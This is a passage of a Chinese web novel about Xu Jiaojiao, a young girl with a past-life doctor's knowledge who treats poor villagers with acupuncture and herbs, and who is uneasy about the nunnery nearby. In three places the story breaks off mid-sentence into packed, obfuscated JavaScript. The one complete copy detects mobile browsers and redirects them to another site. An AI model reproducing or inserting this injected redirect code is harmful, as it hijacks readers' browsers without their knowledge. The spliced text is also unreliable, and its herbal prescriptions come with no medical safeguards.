她有的是时间,在这深山之中,慢慢积蓄力量。待时机成熟,再一步步走向更广阔的天地。 而眼下最重要的,是把眼前的日子过好——采药,种菜,养鸡,读书,习医。 金桂能走了。 消息像春风里的一粒蒲公英种子,悄无声息地飘出石桥埠,落进落溪村,又随着过路的山风,散到了更远的沟沟坎坎。 金桂能下床走路的第五日,正巧是石桥埠村的赶集日。村里那条山溪边,几个妇人正在洗衣裳,棒槌声此起彼伏,溅起的水花在晨光里亮晶晶的。 “听说了没?孙二根的浑家,前几日还瘫在炕上只有半条命,这几日竟能扶着墙走动了!”说话的是石桥埠的赵干娘,五十来岁,一张嘴从来闲不住。 旁边李婶子停了手里的棒槌,睁大了眼:“当真?她那病不是都说没治了吗?镇上的王大夫去年就说,再拖下去,怕是要瘫一辈子。” “千真万确!”赵干娘压低了声音,却压不住那股子兴奋,“我昨儿个亲眼瞧见的——金桂在院子里晒被子,虽说是扶着墙,可实实在在地站着呢!手指头瞧着也没那么肿了。你们说奇不奇?” 几个妇人互相看了一眼,都露出不可思议的神情。金桂的病在十里八乡都是出了名的,这些年孙二根为了给她治病,家底都快掏空了,谁不替他叹一声苦命? “是吃了什么灵丹妙药?”有人问。 赵干娘神秘兮兮地左右看看,声音更低了:“说出来你们怕是不信——是落溪村那个许大郎留下的方子!” “许大郎?”李婶子愣了愣,“他不是走了好几年了吗?” “是走了,可方子留下了呀!”赵干娘说得眉飞色舞,“你们还记得许大郎家那个哑巴闺女不?就是被说克死爹娘,送到水月庵后山那个。” “记得记得,叫娇杏是吧?怪可怜的……”有人唏嘘。 “可怜?”赵干娘一拍大腿,“人家如今不可怜了!听说开了窍,会说话了!那方子就是她记起来写出来的!” 溪边棒槌声霎时安静了,只有溪水哗哗的声音。 半晌,李婶子迟疑道:“她……她会说话了?不是生来就聋哑吗?” “千真万确!金桂亲口说的!”赵干娘信誓旦旦,“你们想啊,许大郎在世时医术多高明?咱们村谁有个头疼脑热的,他随手扯几把草药就好。娇杏从前虽说不言语,可她天天跟在她阿爹身边,眼睛看着耳朵听着,那些本事不都印在脑子里了?如今开了窍,想起来了,这不就写出来了?” 这番话说得合情合理,妇人们纷纷点头。 “倒也是……许大郎是好人啊!”一个年纪大些的婆婆叹道,“那年我孙子出痘,烧得厉害,镇上的大夫都说没救了,是许大郎连夜上山采药,守了三天三夜,硬是把孩子从阎王爷手里拉回来的。诊金只要了十个鸡蛋。” “可不是么,”另一个妇人接话,“我娘家兄弟摔断了腿,也是许大郎给接好的,如今走路一点不跛。他心善,穷苦人家看病,常常不收钱。” 说起许大郎的好,井台边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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春日的阳光暖洋洋的,透过柳树新发的嫩叶洒下来,在地上投下斑驳的光影。老柳树的树干要三个人才能合抱,树皮皴裂如老人的脸,不知见证了多少代人的悲欢。 “许大郎啊……”最年长的张太公眯着眼,声音嘶哑,“是个仁义人。” 旁边李老爹磕了磕旱烟杆:“那年我老伴儿心口疼,疼得在炕上打滚,是许大郎用针扎了几处,又熬了碗药,半个时辰就不疼了。他没收钱,只说邻里乡亲,应该的。” “我那不争气的小子,上山被毒蛇咬了,腿肿得跟水桶似的,”另一个老人接话,“也是许大郎救的。用的什么草药我不认得,只记得他撕下自己的衣襟给我儿子包扎,那衣裳料子真好,是绸的……” 老人们你一言我一语,记忆的闸门打开了,那些被时光模糊的细节又清晰起来。许大郎夫妇初来落溪村时,男的俊朗挺拔,女的貌美如花,穿着体面,谈吐文雅,怎么看都不像寻常农户。村里人好奇,明里暗里打听过,可夫妻俩口风紧,只说是北边逃难来的,别的再也不肯多说。 他们住在村西头那三间瓦房里,许大郎偶尔上山采药,有时也打猎,柳氏则在家织布绣花,很少与村里人来往。可谁家真有难处找上门,他们从不推辞。 “这么说来……”张太公缓缓开口,声音在春风里有些飘忽,“娇杏那丫头,许真是被冤枉了?她爹娘都是善心人,生的闺女能坏到哪儿去?” 李老爹叹了口气:“当初赶她出村,是耆老和张家那几个主事人定的,咱们……咱们也没拦着。” “是啊,没拦着。”张太公闭上眼睛,脸上皱纹更深了,“现在想想,一个七岁的孩子,爹娘刚走,就被赶出家门,赶到山里……咱们这些活了一大把年纪的,竟没一个人替她说句话。” 11. 第11章 第一次下山救人 柳树下沉默下来,只有远处传来孩童玩耍的笑声。 良久,李老爹轻声道:“若她当真能治病救人,那是咱们村的福气。许大郎在天有灵,也该安心了。” 这话没说透,可几个老人都听懂了——若娇杏真有本事,那“克亲”的说法就不攻自破。村里人欠许家的,欠那孩子的,该想法子弥补才是。 可怎么弥补呢?房子田地都分了,人也被赶走了。如今那孩子住在水月庵后山,听说自己开荒种地、采药为生,日子过得艰难却硬气。 “等着看吧,”张太公睁开眼,望向西边绵延的青山,“若她真承了她爹的衣钵,早晚会发光的。” 这些议论和感慨,像山间的雾气,聚了又散,散了又聚。 而此刻,离落溪村十里外的青坑村,村东头一间低矮的茅草屋里,一个三十来岁的妇人正守着炕上的孩子抹眼泪。 孩子约莫五六岁,瘦得皮包骨头,脸颊凹陷,双眼紧闭,呼吸微弱。他病了快一个月了,起初只是发烧咳嗽,请了村里的土郎中来看,开了几副药,吃下去不见好,反而越来越重。家里穷得叮当响,男人去城里做苦力还没回来,她一个妇道人家,抱着孩子去镇上医馆,大夫一看就说要住院用药,先交二两银子。 二两银子!她上哪儿找去?只得抱着孩子回来,眼睁睁看着孩子一天天衰弱下去。 “旺儿,旺儿你醒醒,看看阿娘……”妇人握着孩子干瘦的小手,眼泪吧嗒吧嗒往下掉。 门外传来脚步声,隔壁的孙大嫂探进头来,见她这样,叹了口气:“桂花,还没吃呢?” 桂花摇摇头,嗓子哑得说不出话。 孙大嫂走进来,看了看炕上的孩子,也是眼圈一红。她忽然想起什么,压低声音道:“桂花,我今儿个去石桥埠走亲戚,听了个稀罕事……” 她把落溪村许大郎的哑巴女儿开了窍、会治病的事说了一遍,末了道:“都说那丫头得了她爹的真传,随手写个方子,就把孙二根家瘫了多年的金桂治得能下地了。要不……你去问问?” 桂花猛地抬起头,眼中燃起一丝希望:“当……当真?” “石桥埠的人都这么说,有鼻子有眼的。”孙大嫂道,“反正……反正也不花钱,去问问总没坏处。万一真能行呢?” 桂花看着炕上气息奄奄的儿子,一咬牙:“我去!我这就去!”她又转头对着孙大嫂一脸哀求:“嫂嫂,麻烦你帮我照看着点我家的旺儿,我去去就回。” “那你快去吧!快去快回。“孙大嫂爽快的答应。 桂花胡乱抹了把脸,给儿子掖好被角,揣上家里仅有的五个铜板——这还是她攒了半年,准备扯布给儿子做件夏衣的。又包了两块杂面饼子当干粮,跟孙大嫂又交代了一声,便急匆匆出了门。 从青坑村到水月庵后山,要走二十多里山路。桂花心里急,脚下生风,也顾不上春日的太阳晒得人头晕。她心里只有一个念头:去问问,去求求,万一那丫头真有法子呢? 日头偏西时,桂花终于看到了山坳里那间孤零零的茅屋。篱笆院墙,三间茅草房,院里晒着些草药,几只鸡在草丛里觅食,一条黑狗趴在屋檐下。 她站在篱笆外,看着这简朴却整洁的院子,心里忽然有些怯。万一……万一是唬人的如何是好?万一那丫头根本不会治病呢? 正犹豫着,屋里走出一个小小的人影。 是个女娃娃,约莫八九岁,穿着半旧的蓝花布袄子,头发梳成两个小髻,用红头绳系着。小脸白皙,眉眼清秀,一双眼睛又黑又亮,正静静地看着她。 桂花愣住了。这孩子……长得真好看,像年画上的童女。可也太小了,这么小的孩子,真会治病? “婶婶找谁?”许娇娇开口,声音清脆,带着孩童特有的软糯,却又奇异地有种沉稳。 桂花回过神,连忙道:“我……我找娇杏姑娘。请问……她是住这儿吗?” 许娇娇打量着她。妇人三十来岁,面色憔悴,衣衫补丁摞补丁,脚上的草鞋磨破了边,显然是走了远路。眼里满是血丝,神情焦急又带着卑微的期待。 “我就是娇杏。”许娇娇轻声道,“婶婶有什么事?” 桂花“扑通”一声跪下了。 “姑娘,求你救救我儿子!”她眼泪涌出来,磕着头,“我儿子病了一个月了,眼看就不行了,家里穷,请不起大夫……听说你会治病,求求你,救救他吧!我给你磕头了!” 许娇娇吓了一跳,忙上前扶她:“婶婶快起来,有话慢慢说。” 桂花不肯起,只把怀里的五个铜板掏出来,双手捧着递过去:“我就这些钱……都给你,求你救救我儿子……” 许娇娇看着她手里那几枚磨得发亮的铜钱,心里一酸。她用力把桂花拉起来,温声道:“婶婶,钱你收着。你先说说,孩子什么症状?” 桂花见她肯问,心中升起希望,忙不迭地说起来:“起初是发烧,咳嗽,后来就昏昏沉沉的,喂水都喂不进去……浑身烫得像火炭,可手脚又是冰凉的……昨儿个开始说胡话,喊都喊不醒了……” 许娇娇越听眉头皱得越紧。高热、神昏、四肢厥冷——这症状听起来十分凶险,像是热邪内陷、阳气郁闭的危重证候,甚至有热入心包的可能。仅凭这些描述,根本无法准确判断病情。 “孩子多大了?舌苔什么样?大小便如何?”她追问得更细了。 桂花努力回忆着:“六岁……舌苔我昨儿瞧了,又黄又厚,嘴巴里还有味道……小便黄得很,大便……大便好几天没解了。” 许娇娇心中更沉。这病不能耽搁,可也不能仅凭口述就开方——医者治病,望闻问切缺一不可。尤其是危重病人,差之毫厘谬以千里。 她看着桂花殷切又绝望的眼神,内心激烈挣扎。若不下山,凭描述开方风险太大,万一不对症,可能害了孩子性命;若下山……她一个八岁女娃,独自跟陌生人去几十里外,安全吗?暴露了医术,会引来什么麻烦? 可那是个孩子啊!一个和她当初一样无助、等待救助的孩子。 “婶婶,”许娇娇终于开口,声音坚定起来,“光听你说,我判断不了。我得亲眼看看孩子。” 桂花愣住了:“姑娘的意思是……” “我跟你下山一趟。”许娇娇说着,转身进屋,“你等我收拾一下。” 她迅速整理了一个小布包:张掌柜送的银针、几种急救常用的草药、一小瓶自己配制的退热散。想了想,又带上那本《伤寒杂病论》——万一需要查证什么。 旺财跟在她脚边转悠,似乎知道她要出远门,不安地呜呜叫着。许娇娇蹲下身摸了摸它的头:“旺财,你看家,我很快就回来。” “姑娘……”桂花在门口,又是感激又是惶恐,“这怎么使得?你一个女娃娃,走这么远的路……” “救人要紧。”许娇娇背起布包,锁好房门,“走吧,路上你详细跟我说说孩子这些天的情况,一点细节都不能漏。” 两人一前一后下了山。许娇娇腿短,走得慢,桂花心里急,又不敢催,只得边走边细细说着孩子发病的经过。 “起初就是着了凉,有点咳嗽,我想着孩子壮实,熬熬就过去了。谁知道第三天忽然烧起来,烫得吓人。请了村里的王老爹看,说是风寒入里,开了麻黄、桂枝那些发汗的药……” 许娇娇听着,心里分析:若是风寒外感,用解表药本没错,可如果病邪已经入里化热,再用温燥发汗的药,无异于火上浇油。 “吃了药可出汗了?” “出了,浑身大汗,可汗一出完,烧得更厉害了!”桂花声音发颤,“后来就昏昏沉沉的,喂药都喂不进去了。王老爹说他也没法子了,让送镇上医馆……可我们哪来的钱啊!” 说到这儿,桂花又哭起来。许娇娇默默听着,脚下加快了步子。 二十多里山路,对一个八岁的孩子来说着实艰难。走到一半,许娇娇已气喘吁吁,小脸涨得通红。桂花看着不忍:“姑娘,我背你一段吧?” “不用,”许娇娇摇头,擦了把汗,“我能走。还有多远?” “过了前面那个山头,再走三四里就到了。” 日头渐渐西斜,山间起了凉风。许娇娇心里着急——若是热入心包的重症,耽误一刻就多一分危险。 终于,在天色将暗未暗时,她们看到了青坑村稀疏的灯火。 桂花的家在村东头最破败的一处,茅草屋顶有些地方已经塌陷,用树枝胡乱撑着。还没进门,就闻到一股病气混杂着霉味的沉闷气息。 屋里点着一盏豆大的油灯,炕上一个小小的身影蜷缩着,几乎看不出起伏。 孙大嫂早就等急了,她迎上来一脸的急色:“怎的恁久,我等的心里快冒烟了。” 瞧见许娇娇,孙大嫂按下心中的惊奇,忙道:“快瞧瞧旺儿,我一直给擦手脚,却没甚大用。” 许娇娇快步走到炕边,就着昏暗的灯光看去,心头一紧。 孩子瘦得脱了形,面色潮红却唇色发绀,呼吸浅促,额头烫得灼手。她轻轻扒开孩子的眼皮——瞳孔对光反应迟钝。又掰开嘴看舌苔:舌质红绛,苔黄燥,口气秽浊。 “什么时候开始说胡话的?”许娇娇一边诊脉一边问。 “昨儿后半夜……”桂花一头一脸的汗顾不得擦拭,神色紧绷地看着她的动作,“姑娘,我家旺儿……我家旺儿,他…..还有救吗?” 许娇娇没立刻回答。指下的脉象让她心惊:脉细数而促,如雀啄食,时有时无——这是危重之兆。再摸四肢,果然如桂花所说,肘膝以下冰凉,但胸腹却烫手。 热深厥深,阳郁不达。这是热邪完全内陷,阳气被郁遏于里,不能外达四肢。若不及时透热转气,恐有阴阳离决之险。 “婶婶,有热水吗?”许娇娇冷静地问。 “有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222022|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有!”桂花忙答着要去端水。孙大嫂按住她,“桂花,你先别着急,擦把汗,在这里看着,我去端水。” 桂花感激的点头应允。 许娇娇从布包里取出银针,在油灯上烧了烧。她看着孩子瘦小的身体,深吸一口气——前世行医多年,今生却是第一次施针救人。 取穴:十宣放血泄热,曲池、合谷透表,内关、膻中开窍醒神。 她下针又快又稳,全然不像个八岁的孩子。桂花和端水来的孙大嫂在一旁看得屏住呼吸,只见银针落下,孩子原本紧蹙的眉头似乎松了松。 行针约莫一刻钟,许娇娇起针,又取出带来的退热散,用温水调了少许,一点点喂给孩子。药汁顺着嘴角流出大半,她耐心地擦拭,再喂。 “今晚是关键。”许娇娇对桂花说,“我开的这药能清热开窍,但孩子病得太重,能否转机,就看今夜了。你守着,若子时前后能微微出汗,热退神清,就有希望。若还是高热不退……” 她没说完,桂花已明白,眼泪又下来了:“姑娘,若能救回我的旺儿,我做牛做马报答你……” “别说这些。”许娇娇看了看窗外完全黑透的天色,“今晚我留下。你去烧些热水,给孩子擦擦身子,注意手脚保暖。” 孙大嫂见天色已晚,便和桂花说家去,明儿再来,桂花谢了又谢,孙大嫂一脸的担忧,却也安慰了她几句,又和许娇娇打了声招呼便离开了。 桂花去烧热水,许娇娇坐在床边,看着昏睡的孩子,心情复杂。她冒险下山,暴露医术,值得吗?可若不来,这孩子必死无疑。 夜深了,山村寂静。油灯噼啪作响,映着孩子潮红的小脸。许娇娇每隔一刻钟就探一次体温,诊一次脉。 亥时末,孩子忽然躁动起来,四肢抽动,喉咙里发出咯咯的声音。 “姑娘!姑娘!”桂花吓得脸色发白。 许娇娇忙按住孩子,再次诊脉——脉象更急了,但隐约有外透之势。她当机立断,取出银针,刺入人中、涌泉。 “拿湿布来,敷额头!” 桂花手忙脚乱地拧了布巾。许娇娇一边行针,一边观察。忽然,孩子“哇”地一声,吐出大口粘稠的黄痰,随后剧烈咳嗽起来。 咳嗽是好事——肺气通了。 果然,咳了一阵后,孩子呼吸渐渐平稳,额头上渗出细密的汗珠。 许娇娇伸手一探,热度开始退了。 “出汗了……”她长舒一口气,“有救了。” 桂花扑到炕边,摸着儿子汗湿的额头,喜极而泣。 子时过后,孩子的体温明显下降,虽然还在昏睡,但呼吸均匀了许多,四肢也渐渐回暖。许娇娇又喂了一次药,这次能喂进去大半了。 “熬过今夜,明天就能醒。”她说着,疲惫感涌上来。毕竟只是个八岁的身体,走了二十多里山路,又施针治病,实在撑不住了。 桂花忙在床边铺了席子:“姑娘,你快歇歇。” 许娇娇和衣躺下,几乎立刻睡着了。梦里,她仿佛又回到了前世的中医院,穿着白大褂在病房穿梭。可转眼间,又变成小小的茅屋,旺财在院子里叫…… 鸡叫头遍时,她醒了。第一件事就是去看孩子。 体温基本正常了,面色从潮红转为苍白——是大病之后的虚弱,但不是死气了。脉象虽然细弱,但已有根。 “阿娘……”孩子忽然发出微弱的声音。 桂花猛地抬起头,几乎不敢相信自己的耳朵:“旺儿?旺儿你醒了?” 孩子睁开眼,眼神还有些涣散,但确确实实醒了。他看着许娇娇,小声问:“阿娘,她是谁?” “她是救你命的恩人!”桂花搂着儿子,又哭又笑。 许娇娇也笑了,心中一块大石落地。她再次诊脉,调整了药方:“热邪已退,但气阴两伤。接下来要益气养阴,慢慢调理。” 她写下新方:太子参、麦冬、五味子、生地、玄参、甘草。又交代了饮食禁忌:“这几天只能喝稀粥,不能吃油腻。等精神好些了,才能慢慢添食。” 桂花一一记下,又要掏那五个铜板,被许娇娇坚决拦住了:“婶婶留着给孩子买点吃的吧。等他好了,有空去山上帮我采些草药就行。” 天已蒙蒙亮,许娇娇该回去了。桂花坚持送她到村口,一路不知说了多少感谢的话。 “姑娘,你的大恩大德,我们母子记一辈子。”分别时,桂花又落了泪,“等旺儿好了,我带他去给你磕头。” “桂花嫂嫂别这样,好好照顾孩子。”许娇娇摆摆手,转身走上了山路。 晨光熹微,山间雾气缭绕。许娇娇独自走在回山的路上,虽然疲惫,心里却有种沉甸甸的充实感。 她救了一个孩子。用这双手,这个身体,前世的学识,今生的机缘。 山路蜿蜒,她一步步走着。 远处传来不知名的鸟鸣,清脆婉转。 12. 第12章 声名初现 晨露未晞,许娇娇踏着湿滑的山径回到茅屋时,日头已爬过东边山头,将金辉洒满院落。 旺财听到脚步声,从篱笆门内“汪汪”叫着冲出来,尾巴摇得像拨浪鼓。它绕着她转圈,鼻子在她裙摆上嗅来嗅去,似乎要确认主人是否安好。 “好啦好啦,我回来了。”许娇娇笑着摸摸它的头,疲惫感在这一刻涌了上来。她推开门,将布包放在桌上,倒了一碗凉开水咕咚咕咚喝下。 这一趟来回四十多里山路,对一个八岁的身体来说已是极限。她坐在门槛上,看着院中那些熟悉的草药、菜畦、鸡舍,心中涌起一股奇异的安定感。这是她的家,她在这个陌生世界里一点点建立起来的栖身之所。 休息片刻,她强打精神起身,先给旺财添了食水,又撒了把谷子喂鸡。那几只小鸡已长成半大,见食便扑腾着翅膀围拢过来。看着这生机勃勃的小院,昨夜桂花家中那昏暗压抑的景象仿佛隔了一层雾,却又清晰得刺眼。 那个叫旺儿的孩子,若非她及时赶到,怕是熬不过当夜。 许娇娇洗净手,开始整理布包里的东西。银针要重新擦拭消毒,用过的草药要补充。能救那旺儿和一命,她心中十分欢喜,她学以致用,还算没有白费。 日子还是在晒药采药中过了三日,第四日山下来了人。 不是桂花,也不是李婆子。来的是个五十来岁的汉子,皮肤黝黑,背微驼,一身粗布短褐打满补丁。他站在篱笆外,搓着手,神情局促。 “请问……可是娇杏姑娘的家?”他声音沙哑,带着浓重的乡音。 许娇娇正在院中翻晒前几日采的夏枯草,闻声抬头:“我是。伯伯有事吗?” 那汉子见她真是个小女娃,愣了愣,眼中闪过一丝犹豫,但还是开口:“我是青坑村来的,姓周,行四,村里人都叫我周四。听说……听说姑娘会看病?” 许娇娇心中了然。桂花儿子病愈的消息,怕是已经传开了。 “略懂些皮毛。”她谨慎道,“周伯伯哪里不舒服?” “不是我,是我家老婆子。”周四忙道,“她咳嗽了小半年,入春后越发重了,夜里咳得睡不成觉。去镇上瞧过,吃了不少药,总不见好。前几日听说姑娘治好了桂花的旺儿,我就想……想来碰碰运气。” 他说着,从怀里摸出一个小布包,层层打开,里面是十几个铜钱和两个鸡蛋:“家里穷,就这些……姑娘别嫌弃。” 许娇娇看着那些铜钱,大多磨得光滑发亮,显然是攒了许久。鸡蛋倒是新鲜,壳上还沾着草屑。 “周伯伯先进来坐。”她打开篱笆门,“钱和鸡蛋您收着,我先问问病情。” 周四不肯收,执意将东西放在院中石墩上,这才小心翼翼地在另一块石头上坐下,半个屁股悬着,很是拘谨。 许娇娇细细问了症状:咳嗽夜间加重,痰白稀,遇冷更甚,伴有胸闷气短,畏寒肢冷,舌苔白滑——典型的寒饮伏肺之证。镇上的大夫开的方子她看了方子,以清热化痰为主,方向错了。 “这病我能治。”她斟酌着说,“但需要换方子。周伯伯若信得过,我写个方子,您去镇上抓药。” 周四眼中泛起希望:“信得过!信得过!桂花说姑娘是神医,几针下去她家旺儿就活了!” 许娇娇哭笑不得。传言果然越传越玄乎。她进屋取了纸笔,写下小青龙汤加减方:麻黄、桂枝、干姜、细辛、半夏、五味子、白芍、甘草。又特意注明:细辛不过钱,三碗水煎成一碗,每日一剂,先服三日。 写罢,她将方子递给周四:“先吃三副,若咳嗽减轻,再来找我调方。若无效,就不必再来了。” 周四双手接过,如获至宝,连连道谢。临走时,许娇娇硬是把鸡蛋塞回他手里:“给婶婶补身子吧,药钱不便宜,这些您留着。” 送走周四,许娇娇站在院中,望着山下蜿蜒的小路出神。 医者仁心,她做不到见死不救。可名声一旦传开,麻烦也会接踵而至。水月庵那边,静尘上次来时曾隐晦提醒,水仙姑似乎已经注意到后山的动静,让她千万小心。 正思量间,旺财忽然竖起耳朵,朝篱笆外低吠。 又有人来了。 这次是两个人,一个中年妇人搀着个白发老妪,老妪拄着拐杖,脚步蹒跚。两人皆是面黄肌瘦,衣衫褴褛,一看便是贫苦人家。 “姑娘,行行好……”妇人未语先落泪,“我婆婆眼睛看不见了,听说姑娘会治病,我们走了三十多里路……” 许娇娇心中一叹。 她知道,从救活旺儿那一刻起,这条路就再也回不了头了。 接下来的日子,求医的人渐渐多了起来。 起初只是青坑村、石桥埠附近的乡民,后来消息越传越远,连几十里外的村子都有人摸上山来。所患之病也五花八门:咳嗽、胃痛、风湿、头痛、妇人经带不调、小儿疳积…… 许娇娇一一接诊。她能治的,就开方施针;不能治的,便直言相告,建议去城里寻更好的大夫。诊金她从不强求,有钱的给几文,没钱的给把米、几个鸡蛋,实在什么都没有的,她也不计较。 只是她始终坚持一个原则:不上门出诊。一则她年纪小,独身下山不安全;二则这茅屋是她最后的屏障,她不愿过多暴露在外。 李婆子知道了这事,急得又上山一趟。 “我的乖囡,你怎能这样莽撞!”她拉着许娇娇的手,又急又心疼,“给人看病是好事,可你一个女娃娃,万一遇到歹人怎么办?万一治坏了人,人家来找你麻烦怎么办?” 许娇娇安抚她:“阿婆放心,我看病有分寸。治不了的病,我绝不逞强。” “可这名声传开了,水月庵那边……”李婆子压低声音,“我听说,静非那尼姑前几日还向人打听后山又来了什么人。那尼姑心术不正,你得当心。” 许娇娇点头:“我晓得的。” 其实她早有察觉。最近几次静尘来,神色总是欲言又止,问起庵中情况,她也含糊其辞。有一次,静尘临走前突然说:“小施主,近期若是静非或庵里的其他姑子来打听消息,你都推说不知,千万别提你会医术。” 许娇娇点头应允。 水月庵里有猫腻,其中的深意她尚未探知。 送走李婆子,她站在院中,望着西边水月庵的方向。青瓦屋顶掩在竹林后,只露出翘角飞檐。那个地方,像一头蛰伏的兽,安静却危险。 但她没有退路。 求医的人还在来,她的名声还在传。有时候,她看着那些穷苦百姓满怀希望的眼神,看着他们千恩万谢地离去,心里会涌起一种复杂的情绪——这大概就是医者的宿命吧,明知前路有险,却无法背过身去。 这日午后,许娇娇正在整理晒干的药材,篱笆外传来急促的脚步声。 “娇杏姑娘!娇杏姑娘在吗?” 是个年轻男子的声音,带着哭腔。 许娇娇起身开门,见一个二十来岁的汉子背着个老人,旁边跟着个妇人,三人皆是一身狼狈。老人趴在汉子背上,左腿裤管卷起,小腿肿胀发黑,伤口处已溃烂流脓,散发着恶臭。 “姑娘,救我阿爹!”汉子噗通跪下,“我阿爹上山采药,被毒蛇咬了,找了郎中瞧,敷了药不见好,反而烂成这样……听说姑娘医术高明,求您救救他!” 许娇娇心头一紧。这伤口感染严重,已现坏疽之象,若不及时处理,恐有截肢甚至性命之危。 “快把人抬进来!”她当机立断。 将老人安置在屋内唯一的床上,许娇娇仔细检查伤口。蛇毒虽已解,但伤口处理不当,感染深入肌理,脓液积聚,周围皮肤发黑发硬,这是气性坏疽的征兆。 “伤口必须清理。”她冷静地说,“会很疼,老人家要忍一忍。” 老人虚弱地点头:“姑娘放手治吧……总比死了强。” 许娇娇取来烧开的水,用自制的竹镊子和纱布,开始清创。腐肉要一一剔除,脓液要引流干净,这个过程极其痛苦,老人咬紧牙关,额上青筋暴起,却一声不吭。 那汉子和妇人在旁看得脸色发白,妇人更是转过头去不敢看。 清创完毕,许娇娇敷上自制的解毒生肌散——以金银花、蒲公英、地丁、黄连等清热解毒药为主,再加乳香、没药活血生肌。又开了内服方:仙方活命饮加减,托毒外出。 “伤口每日换药一次,内服药早晚各一剂。”她交代道,“这三日最关键,若肿胀开始消退,伤口转红,就有希望。若继续恶化……”她没说完,但众人都明白。 汉子千恩万谢,掏出一个小布袋,里面是半袋糙米和十几个铜钱:“家里就这些了,姑娘别嫌少……” “米我收下,钱拿回去抓药。”许娇娇只取了糙米,“药不便宜,你们还要吃饭。” 送走这一家三口,已是日暮西山。许娇娇累得几乎直不起腰,手上还残留着伤口脓血的腥臭。她打了水,仔仔细细洗了三遍手。 旺财蹭过来,呜呜叫着,似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许娇娇皱眉:“我这儿离庵里还有一里多地,如何扰了清静?” 静尘欲言又止,最终只叹道:“总之……你要小心。静非最近常往后山这边来,说是采蘑菇,但我看她东张西望的,不知在找什么。” 送走静尘,许娇娇心中警铃大作。她不怕治病救人,却怕那些藏在暗处的算计。水月庵那个地方,总让她觉得不安。 这日,她正在院中教旺财捡柴——这小东西越来越聪明,能听懂不少指令——忽然听见远处传来嘈杂的人声。 不止一两个,像是一群人。 许娇娇站起身,手不自觉握紧了晾在一旁的药锄。 只见山道上,七八个人抬着个门板,急匆匆往这边来。门板上躺着个人,盖着床单,看不见面容。后面跟着男女老少十几人,有的哭,有的喊,乱成一团。 “娇杏姑娘!救命啊!” 人群冲到篱笆外,为首的是个中年汉子,噗通跪下:“姑娘,我兄弟从屋顶摔下来,昏死过去了!郎中说没救了,求您看看!” 许娇娇心头一沉。这种外伤导致的昏迷,最是凶险。 她快步上前,掀开床单一看,倒吸一口凉气。 伤者是个三十来岁的男子,面色惨白如纸,呼吸微弱,头顶有个鸡蛋大的血肿,右侧瞳孔散大——这是颅内出血的典型体征。 “什么时候摔的?”她急问。 “快、快两个时辰了!”旁边一个妇人哭道,“从屋顶滚下来,后脑勺着地,当时就昏了,叫不醒……” 两个时辰。许娇娇心往下沉。若在从前,还能送医院开颅减压。可在这里…… 她伸手诊脉,脉象沉细微弱,如游丝将断。又翻开眼皮细看,右侧瞳孔已完全散大,对光无反应。 脑疝形成了。即便在前世,这也是九死一生的危症。 “姑娘,能救吗?”那汉子眼巴巴望着她,眼中满是绝望中最后的希冀。 周围的人都安静下来,所有目光都集中在她身上。 许娇娇的手在袖中微微颤抖。她知道,自己接下来说的话,可能摧毁一个家庭的希望。 可医者不能骗人。 她深吸一口气,声音不大,却清晰地传到每个人耳中: “伤得太重,我……无能为力。” 人群中爆发出压抑的哭声。那汉子瘫坐在地,双手捂脸,肩膀剧烈抖动。 许娇娇别过脸,不忍再看。她转身进屋,取出一小包安神的药粉:“这个拿去,若他……若他走时痛苦,可兑水喂少许,能让他安详些。” 汉子接过药包,手抖得几乎拿不住。他朝许娇娇磕了个头,哑声道:“多谢姑娘……实话相告,总比……总比给我们虚妄的希望强。” 人群抬着门板,哭声渐远。 13. 第13章 静非的威胁 那场未能救回的重伤,像一块沉石压在许娇娇心头数日。 她照常采药、晒药、打理菜园,却总在夜深人静时,想起那汉子绝望的眼神,想起门板上苍白的面容。医者终有力所不及,这道理她懂,可每一次面对,依旧如钝刀割心。 旺财似乎察觉主人情绪低落,这几日格外黏人。许娇娇上山采药,它便寸步不离地跟着;她在院中炮制药材,它就趴在脚边,黑亮的眼睛时时望着她。 “旺财啊,”这日傍晚,许娇娇一边捣药一边轻声说,“我是不是太贪心了?总想着能救一个是一个。” 旺财呜呜两声,用头蹭她的手。 许娇娇苦笑。跟一只狗说话,她怕是真有些魔怔了。 然而日子总要过下去。求医的人并未因那次失败而减少,反而更多了。许娇娇渐渐明白,在这些穷苦乡民眼中,她已是绝望中最后的稻草——有希望,总比等死强。 她愈发谨慎。接诊前必先细问病史,诊脉时凝神静气,开方时斟酌再三。能治的,尽力施为;不能治的,也委婉劝告,指点他们去何处求医。 这般又过了半月,已是初夏时节。山间草木愈发蓊郁,草药也进入丰采期。许娇娇每日天不亮就上山,背回的药材堆满了半个院子。 这日她正在晾晒新采的艾叶,篱笆外传来熟悉的声音:“娇杏姑娘在吗?” 是桂花。 许娇娇抬头,见桂花牵着个男孩站在门外。男孩正是旺儿,比上次见面时胖了些,小脸有了血色,只是还显瘦弱。见到许娇娇,他有些害羞地往母亲身后躲。 “快进来。”许娇娇笑着招手。 桂花领着孩子进门,将手里的篮子放在石墩上:“姑娘,旺儿全好了!能吃能睡,也能跑能跳了!这些鸡蛋是自家鸡下的,还有一把新笋,姑娘别嫌弃。” 篮子里整整齐齐码着二十个鸡蛋,个个红壳饱满。旁边是一捆嫩笋,剥得干干净净。 许娇娇心里一暖:“嫂嫂太客气了。旺儿,来,让我看看。” 旺儿怯生生走过来。许娇娇执起他的小手诊脉,脉象平稳有力,舌苔淡红薄白,确是痊愈之象。 “恢复得很好。”她放开手,从屋里取出几块饴糖递给旺儿,“但不能贪凉,少吃生冷,记住了?” 旺儿接过糖,眼睛亮晶晶的,用力点头。 